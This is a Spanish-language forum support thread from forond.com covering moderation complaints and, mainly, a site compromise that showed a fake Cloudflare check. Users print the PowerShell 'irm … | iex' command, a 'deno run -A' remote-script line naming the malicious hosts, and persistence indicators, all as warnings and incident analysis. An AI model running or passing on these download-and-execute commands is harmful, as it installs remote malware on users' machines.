Problemas y dudas sobre la plataforma de foroND.com

[Gepete]

hola.

El editor texto del foro esta censurando palabras como R___a, M......., P___n aún siendo estas usadas en contexto aceptable.

RVSIA, M0SCÚ, PVTIN.

¿Será que me estoy saltando algo?

Gracias.

[Gepete]

hola.

El editor texto del foro esta censurando palabras como R___a, M......., P___n aún siendo estas usadas en contexto aceptable.

RVSIA, M0SCÚ, PVTIN.

¿Será que me estoy saltando algo?

Gracias.

GVERRA... G........

[admin_forond]

hola.

El editor texto del foro esta censurando palabras como R___a, M......., P___n aún siendo estas usadas en contexto aceptable.

RVSIA, M0SCÚ, PVTIN.

¿Será que me estoy saltando algo?

Gracias.

Hola forista, hemos publicado un comunicado oficial sobre ese tema

viewtopic.php?t=24725

[imago]

Hasta que acabaron con el foro las larvas copypegueras en todos los idiomas

[Tupac Amaru]

Más allá de dedicarme a Trollear, observo ciertos aspectos, no soy detective, del foro, uno que ha llamado particularmente ni atención es la cantidad de visitantes


En total hay 401 usuarios conectados :: 4 registrados, 0 ocultos y 397 invitados (basados en usuarios activos en los últimos 5 minutos)
La mayor cantidad de usuarios identificados fue 8462 el Dom Oct 19, 2025 7:52 pm

Si mi memoria no está fallando, a mí edad es difícil, se está repitiendo el escenario aquel dónde usaron bot para sabotear este espacio.

Disculpen mí ignorancia, pero como todos saben, soy es el Troll maluco que atormenta a los Adoradores de los Placeres del Huequito, por eso pregunto

[admin_forond]

Más allá de dedicarme a Trollear, observo ciertos aspectos, no soy detective, del foro, uno que ha llamado particularmente ni atención es la cantidad de visitantes


En total hay 401 usuarios conectados :: 4 registrados, 0 ocultos y 397 invitados (basados en usuarios activos en los últimos 5 minutos)
La mayor cantidad de usuarios identificados fue 8462 el Dom Oct 19, 2025 7:52 pm

Si mi memoria no está fallando, a mí edad es difícil, se está repitiendo el escenario aquel dónde usaron bot para sabotear este espacio.

Disculpen mí ignorancia, pero como todos saben, soy es el Troll maluco que atormenta a los Adoradores de los Placeres del Huequito, por eso pregunto

Hol Forista estamos monitoreando la situación, ya que esa ha sido una de las causas adicionales por las cuales Google suspende la monetizacion de los sitios web.

Gracias por esta atento!

[Tabata]

Admin, corazón, por qué no eliminas ese poco de salas inoperativas e inservibles que tiene este foro? No sé, salas que no tienen movimiento incluso desde el año 2022, para qué?

[Lirumlarum]

Edito porque ya vi la razón por la cual cerraron el tema y con todo respeto, Señor Administrador, no deberíamos estar mezclando los tantos.

La información que estaba colocando en el tema, es de suma importancia y no debe estar mezclada con los marines bajándose del helicóptero, ni con quién envió qué, o quién está llegando a qué hora, etcétera.

Entiendo que lo ideal no es abrir cincuenta temas sobre el terremoto, pero no debemos dejar que la información útil se pierda entre asuntos de bastante menor relevancia.

Mi idea con el tema que abrí, es centrar en un sitio información importante que deba ser DIFUNDIDA. Que se postée y se repostée en foros, redes sociales, entre familiares y amigos, para que lo vea quien no lo vio y que lo recuerde el que ya lo vio.

En todo caso, limpie el tema, edite lo que no va ahí, para mantener algo de orden.

Saludos.

[imago]

Arreglado el problema de los botones. GRacias admin

[matadora]

Buenos días.

Solicito la remoción de mi usuario "Matadora" en este foro.

Mi decisión es irrevocable y espero que está vez si sea eliminado.

[matadora]

Vuelvo a solicitar la remoción de mi cuenta "Matadora".

[aquisipasanada]

Sr Administrador,

El día de ayer Oct 2. el tema ' Viraje del Partido Demócrata hacia el socialismo americano' desapareció completamente del foro.

Ha sido esto una falla técnica o una acción administrativa.

En este tema he documentado con noticias reales la toma del Partido Demócrata por parte del movimiento DSA. Creo que es muy importante documentarlo por las venideras elecciones en Estados Unidos. El paralelismo con la Venezuela de 1998 donde Chavez ganó porque la gente creyó inocentemente que su socialismo iba a corregir los problemas del país es un alerta muy importante para el venezolano que vive en América y participa en este foro.

Agradezco su gestión para resolver o clarificar qué pasó con el tema y si se puede restaurar.

Gracias.

[Gepete]

Hola Admin,

Desde esta madrugada cuando acceso desde la web al foro interviene CLOUDFLARE, me pide comprobación humana, se la doy y no lo logra y me indica que ejecute en POWEL SHELL un comando que me parece muy sospechoso:

Código: Seleccionar todo

irm https://checkdvvc99.cc/ps/traffic?r=109f | iex

Eso me ocurre desde Chrome en la computadora. En el movil todo va normal y aquí estoy escribiendo.

He probado desde otra computadora que nunca visita forond y obtengo el mismo resultado.

Entiendo que puede ser un virus. CLOUDFLARE no debería pedir ingresar ningún código aunque diga "verificación humana".

https://ibb.co/ymS9xmDw

Solo me ocurre en forond.com

Atentos y gracias.

[javier380_ND]

Lo mismo por estos lados. No hay acceso por chrome desde la computadora

[Gepete]

Problema de seguridad detectado en Forond

He detectado un problema de seguridad al acceder a Forond desde un ordenador.

La página está cargando un código JavaScript que realiza una consulta a un contrato de Polygon:

Código: Seleccionar todo

0xb29927B7D854b232D5E58CFc201866376E68C676

Ese contrato devuelve estas dos direcciones:

Código: Seleccionar todo

https://checkmybtrobot.cc
https://checkdvvc99.cc

El código utiliza una de ellas para cargar posteriormente otro JavaScript. En el navegador, esto puede terminar mostrando una falsa pantalla de Cloudflare que intenta convencer al usuario para ejecutar un comando de PowerShell.

He comprobado directamente el código HTML que entrega

Código: Seleccionar todo

forond.com

, por lo que el problema no parece estar en un ordenador concreto, sino en el código que está sirviendo actualmente el propio foro.

RECOMENDACIÓN A LOS USUARIOS

Mientras se investiga y soluciona el problema, no ejecutéis ningún comando de PowerShell ni sigáis instrucciones que aparezcan en una supuesta comprobación de Cloudflare. En particular, no copiéis ni peguéis comandos que la página os indique.

MEDIDAS RECOMENDADAS AL ADMINISTRADOR

• []Retirar inmediatamente el JavaScript que realiza la consulta al contrato de Polygon.
  []Buscar en plantillas, extensiones, anuncios y archivos modificados recientemente referencias al contrato

  Código: Seleccionar todo

  0xb29927B7D854b232D5E58CFc201866376E68C676

  ,

  Código: Seleccionar todo

  1rpc.io

  ,

  Código: Seleccionar todo

  polygon-bor-rpc.publicnode.com

  y los dos dominios indicados.
  []Revisar cómo se introdujo el código y comprobar posibles cuentas administrativas o extensiones comprometidas.
  []Cambiar las credenciales administrativas y revisar las sesiones activas.
  []Revisar los registros del servidor para determinar cuándo se introdujo la modificación.
  []Una vez eliminado el código, comprobar el foro desde varios navegadores y dispositivos para confirmar que ya no se carga.

En mi caso, no ejecuté el comando que solicitaba la página, por lo que no he observado indicios de infección en mi equipo.

Dispongo del código exacto que he encontrado y de las pruebas que muestran cómo el código de Forond termina llegando a esos dominios, por si el administrador las necesita.

[admin_forond]

Hola Admin,

Desde esta madrugada cuando acceso desde la web al foro interviene CLOUDFLARE, me pide comprobación humana, se la doy y no lo logra y me indica que ejecute en POWEL SHELL un comando que me parece muy sospechoso:

Código: Seleccionar todo

irm https://checkdvvc99.cc/ps/traffic?r=109f | iex

Eso me ocurre desde Chrome en la computadora. En el movil todo va normal y aquí estoy escribiendo.

He probado desde otra computadora que nunca visita forond y obtengo el mismo resultado.

Entiendo que puede ser un virus. CLOUDFLARE no debería pedir ingresar ningún código aunque diga "verificación humana".

https://ibb.co/ymS9xmDw

Solo me ocurre en forond.com

Atentos y gracias.

Hola estimado forista, gracias por el reporte, ya le informamos a las personas que nos ayudan con el tema del sitio y servidores, nos comentan que en menos de 24 horas pueden revisar ese issue.

Los Mantendremos informados.

Gracias

[TACO]

ACTUALIZACIÓN: qué ocurre si alguien ejecuta el comando

Añado información nueva que complementa lo ya explicado por Gepete.

Se ha podido reconstruir la cadena posterior a la falsa comprobación de Cloudflare. Si el usuario ejecuta el comando de PowerShell, éste descarga y ejecuta código adicional desde:

Código: Seleccionar todo

https://checkmybtrobot.cc/ps/traffic?r=b2af

Ese código realiza, entre otras cosas, lo siguiente:

• Oculta la ventana de PowerShell.
• Instala Deno mediante winget.
• Localiza el ejecutable de Deno instalado.
• Ejecuta un segundo script remoto con:

Código: Seleccionar todo

deno run -A https://checkmybtrobot.cc/j/traffic?r=b2af

La opción -A concede al script permisos amplios sobre el sistema, incluyendo acceso a archivos, procesos y red.

Además, se ha podido confirmar que la cadena puede crear un mecanismo de persistencia en Windows.

En concreto, se ha observado la creación de:

Código: Seleccionar todo

%LOCALAPPDATA%\Microsoft\ModernExec\modernexecserver.dll

junto con una clave COM asociada al CLSID:

Código: Seleccionar todo

{EF7F04A5-461B-4E32-840D-5841AB00713C}

Este mecanismo permite que el código pueda volver a cargarse posteriormente, incluso después de cerrar la ventana inicial.

También queda almacenada una copia del JavaScript descargado dentro de la caché de Deno bajo el dominio:

Código: Seleccionar todo

checkmybtrobot.cc

Por tanto, el problema no debe considerarse únicamente una falsa pantalla o una redirección.

Si alguien llegó a ejecutar el comando de PowerShell, debe considerar que se ejecutó código remoto con amplios permisos y que pudo haberse creado persistencia en Windows.

RECOMENDACIÓN ADICIONAL A LA ADMINISTRACIÓN

Además de eliminar el JavaScript que está sirviendo el foro, convendría investigar si este comportamiento corresponde a una campaña conocida y revisar los registros buscando accesos o actividad relacionada con:

Código: Seleccionar todo

checkmybtrobot.cc
checkdvvc99.cc
ModernExec
modernexecserver.dll
DenoLand.Deno

También sería recomendable revisar si otros usuarios han reportado haber ejecutado el supuesto proceso de "verificación".

RECOMENDACIÓN A QUIEN HAYA EJECUTADO EL COMANDO

Quien haya llegado a ejecutar el PowerShell no debería limitarse a borrar el historial del navegador.

Conviene:

• Realizar una revisión completa del sistema.
• Comprobar si Deno fue instalado recientemente.
• Comprobar la existencia de la carpeta:

Código: Seleccionar todo

%LOCALAPPDATA%\Microsoft\ModernExec

y del CLSID:

Código: Seleccionar todo

{EF7F04A5-461B-4E32-840D-5841AB00713C}

También es prudente considerar potencialmente expuestas las sesiones o credenciales accesibles desde ese equipo hasta completar la revisión.

El punto importante es que ahora sabemos que la cadena no termina en el engaño de Cloudflare: después de ejecutar el comando puede instalar componentes adicionales y establecer persistencia en Windows.

[TACO]

OTRO DATO RELEVANTE: EL COMPORTAMIENTO PARECE SELECTIVO

He observado además que la falsa comprobación de Cloudflare no aparece en todos los dispositivos.

En teléfonos no se presenta y, en un Mac desde otra conexión, tampoco aparece la pantalla falsa. Sin embargo, en ese Mac mis sistemas de seguridad generan advertencias de malware al acceder al foro.

Esto sugiere que el código puede estar realizando una entrega selectiva según el dispositivo, sistema operativo, navegador, dirección IP u otras condiciones.

Tiene especial sentido que la etapa final se dirija a Windows, ya que las instrucciones observadas dependen de PowerShell, winget y posteriormente Deno.

Por tanto, que un administrador visite el foro y no vea la falsa pantalla no demuestra que el problema haya desaparecido.

Sería conveniente realizar las comprobaciones desde varios entornos, especialmente:

• Windows de escritorio;
• navegadores distintos;
• usuarios conectados y no conectados;
• direcciones IP diferentes;
• sin bloqueadores o filtros de seguridad que puedan detener los dominios antes de que aparezca la segunda etapa.

El hecho de que determinados dispositivos no muestren el falso Cloudflare puede ser parte del propio mecanismo de selección de la campaña.

[admin_forond]

Estimada foristas:

Queremos informarles que el problema de seguridad reportado recientemente en el foro ha sido totalmente solucionado.

El código malicioso que afectaba a la carga de la página (y que simulaba una verificación falsa de Cloudflare) ya ha sido completamente removido de nuestros servidores y sistemas, y hemos reforzado las medidas de seguridad y credenciales administrativas.

¿Qué deben hacer los usuarios?
Para garantizar que carguen la versión limpia y actualizada del sitio, les recomendamos realizar los siguientes pasos sencillos:

Limpiar la caché del navegador o hacer una recarga forzada (con Ctrl + F5 en Windows/Linux o Cmd + Shift + R en Mac).

Ingresar al foro con total normalidad. Como medida de precaución general, recuerden nunca ejecutar comandos de PowerShell ni seguir instrucciones de páginas externas que soliciten acciones sospechosas en su equipo.

Si detectan cualquier detalle extraño, anomalía o tienen alguna duda, por favor avísennos de inmediato respondiendo a este hilo o contactando con el equipo de administración.

Agradecemos enormemente a quienes nos alertaron y a todos por su paciencia y colaboración para mantener seguro el foro.

[aquisipasanada]

Estimada foristas:

Queremos informarles que el problema de seguridad reportado recientemente en el foro ha sido totalmente solucionado.

El código malicioso que afectaba a la carga de la página (y que simulaba una verificación falsa de Cloudflare) ya ha sido completamente removido de nuestros servidores y sistemas, y hemos reforzado las medidas de seguridad y credenciales administrativas.

¿Qué deben hacer los usuarios?
Para garantizar que carguen la versión limpia y actualizada del sitio, les recomendamos realizar los siguientes pasos sencillos:

Limpiar la caché del navegador o hacer una recarga forzada (con Ctrl + F5 en Windows/Linux o Cmd + Shift + R en Mac).

Ingresar al foro con total normalidad. Como medida de precaución general, recuerden nunca ejecutar comandos de PowerShell ni seguir instrucciones de páginas externas que soliciten acciones sospechosas en su equipo.

Si detectan cualquier detalle extraño, anomalía o tienen alguna duda, por favor avísennos de inmediato respondiendo a este hilo o contactando con el equipo de administración.

Agradecemos enormemente a quienes nos alertaron y a todos por su paciencia y colaboración para mantener seguro el foro.

Alguna actualización sobre este caso que reporte el 2 de Octubre?

Sr Administrador,

El día de ayer Oct 2. el tema ' Viraje del Partido Demócrata hacia el socialismo americano' desapareció completamente del foro.

Ha sido esto una falla técnica o una acción administrativa.

En este tema he documentado con noticias reales la toma del Partido Demócrata por parte del movimiento DSA. Creo que es muy importante documentarlo por las venideras elecciones en Estados Unidos. El paralelismo con la Venezuela de 1998 donde Chavez ganó porque la gente creyó inocentemente que su socialismo iba a corregir los problemas del país es un alerta muy importante para el venezolano que vive en América y participa en este foro.

Agradezco su gestión para resolver o clarificar qué pasó con el tema y si se puede restaurar.

Gracias.

?